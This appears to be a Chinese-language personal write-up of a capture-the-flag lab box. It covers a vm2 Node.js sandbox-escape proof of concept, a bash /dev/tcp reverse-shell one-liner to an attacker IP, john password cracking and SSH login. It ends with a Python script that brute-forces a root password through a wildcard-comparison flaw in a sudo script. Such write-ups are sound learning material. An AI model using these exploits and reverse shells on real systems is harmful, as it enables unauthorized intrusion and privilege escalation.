- 本人自己的打靶记录,会有错误的地方,尽情谅解,欢迎指出错误和不解的地方,让我们共同进步!
信息收集
端口扫描
nmap -sV 10.10.11.239
22,80端口开放
访问80端口发现需要host绑定
sudo vi /etc/hosts
页面显示是node.js的沙箱
点击Try it now进入到编辑页面
nodejs沙箱逃逸漏洞
搜索node.js沙箱的漏洞发现一个沙箱逃逸漏洞
const { VM } = require("vm2");
const vm = new VM();
const code = `
const err = new Error();
err.name = {
toString: new Proxy(() => "", {
apply(target, thiz, args) {
const process = args.constructor.constructor("return process")();
throw process.mainModule.require("child_process").execSync("whoami").toString();
},
}),
};
try {
err.stack;
} catch (stdout) {
stdout;
}
`;
console.log(vm.run(code)); // -> hacked
反弹shell
bash -c 'bash -i >& /dev/tcp/10.10.14.27/2345 0>&1
在/var/www/contact下面发现了一个数据库文件
打开tickets.db
发现了joshua用户的密码
把hash值保存在hash.txt中
进行破解hash值
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
注意:有的kali里面没有wordlists文件,需要我们进行下载
ssh连接
使用ssh进行登录
ssh joshua@10.10.11.239
在输入密码
取得user的flag
提权
sudo -l
发现有一个文件可以运行
打开文件进行查看
这里出现了问题
- 脚本的这一部分将用户提供的密码 (USER_PASS) 与实际数据库密码 (DB_PASS) 进行弱比较
- 执行模式匹配而不是直接字符串比较
所以可以使用脚本进行模糊匹配
import string
import subprocess
all = list(string.ascii_letters + string.digits) # 创建包含所有字母和数字的字符列表
password = "" # 初始化密码为空字符串
found = False # 初始化 found 变量为 False,表示密码尚未找到
while not found:
for character in all:
# 构建要执行的命令
command = f"echo '{password}{character}*' | sudo /opt/scripts/mysql-backup.sh"
# 使用 subprocess.run 执行命令,并获取标准输出
output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True).stdout
# 如果输出包含 "Password confirmed!" 字符串,表示密码中的字符是正确的
if "Password confirmed!" in output:
password += character # 将当前字符添加到密码中
print(password) # 打印当前破解出的密码
break # 跳出字符循环,继续下一个字符的尝试
else:
found = True # 如果 for 循环正常结束,表示已找到密码的所有字符
# 循环结束后,输出找到的密码
print("Found Password:", password)
脚本是借助大佬写好的,因为代码能力有限只能先做一个脚本小子
创建一个py文件
执行文件,得到密码
进行root登录
总结
- 通过node.js的沙箱逃逸漏洞进行gatshell
- 在/var/www/contact下发现数据库文件,拿到用户名和密码
- ssh连接后取得普通用户的flag
- 通过可执行文件进行提权,拿到root的密码
参考文章
nodejs沙箱逃逸漏洞:https://blog.csdn.net/m0_66859164/article/details/132408835